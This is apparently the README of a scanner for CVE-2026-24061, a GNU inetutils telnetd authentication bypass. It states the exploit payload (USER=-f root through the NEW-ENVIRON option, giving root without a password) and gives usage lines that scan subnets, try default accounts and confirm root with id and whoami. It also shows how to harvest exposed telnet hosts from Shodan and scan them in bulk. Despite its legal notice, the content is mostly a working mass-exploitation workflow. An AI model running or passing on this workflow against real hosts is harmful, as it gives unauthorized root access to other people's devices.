
Scans for CVE-2026-24061 telnetd auth bypass, generating payloads and verifying root access on vulnerable GNU inetutils telnetd devices.
⚠️ VERY IMPORTANT LEGAL NOTICE ⚠️
This tool is exclusively for educational purposes, security research, vulnerability analysis, and authorized testing.
USER=-f root (or variations) via the NEW-ENVIRON option allows immediate login as root without a password.This scanner was only possible thanks to the excellent technical analysis and proof of concept published by the Hakai Security team.
Their detailed article provided the precise technical foundations on the exploitation vector, the real payloads, and the behavior of the vulnerable telnetd.
→ Read the full analysis here:
https://hakaisecurity.io/cve-2026-24061-execucao-remota-de-codigo-no-telnetd-analise-tecnica-e-prova-de-conceito/research-blog/
Many thanks to Hakai Security for their transparency, technical quality, and contribution to the security community. You helped make this tool more accurate and useful for responsible research.
--users (default includes root, admin, pi, ubuntu, debian, etc.)id and whoami (--verify)-w)# Recommended: use virtualenv
python3 -m venv venv-cve
source venv-cve/bin/activate
# Install dependencies
pip install telnetlib3 colorama
python3 scan-cve-2026-24061.py 192.168.1.0/24 --verify --banner -w 50
# With a target list (e.g., Shodan)
python3 scan-cve-2026-24061.py alvos.txt -w 80 -t 6 --users root admin -o resultados.json
# Focused on root (faster)
python3 scan-cve-2026-24061.py 10.0.0.0/24 --users root --verify --banner -t 5
# Dry-run (only lists IPs)
python3 scan-cve-2026-24061.py 206.42.41.0/24 --dry-run
pip install shodan
# Initialize with your API Key
shodan init YOUR_API_KEY_HERE
# Download possible targets
shodan download --limit 500 iot-gnu-telnet.json.gz 'port:23 ("GNU inetutils" OR "telnetd (GNU inetutils)") -ssh'
# Extract IPs
shodan parse --fields ip_str iot-gnu-telnet.json.gz > alvos.txt
# Scan
python3 scan-cve-2026-24061.py alvos.txt --verify --banner
Pull requests are welcome, as long as they maintain the ethical focus and reinforce liability warnings. License MIT License – but I emphasize: unauthorized use is the sole responsibility of the user. Made for study, awareness, and security research.
⭐ If you found it useful, give it a star!
🛡️ Use with extreme responsibility.
Made with ❤️ by killsystema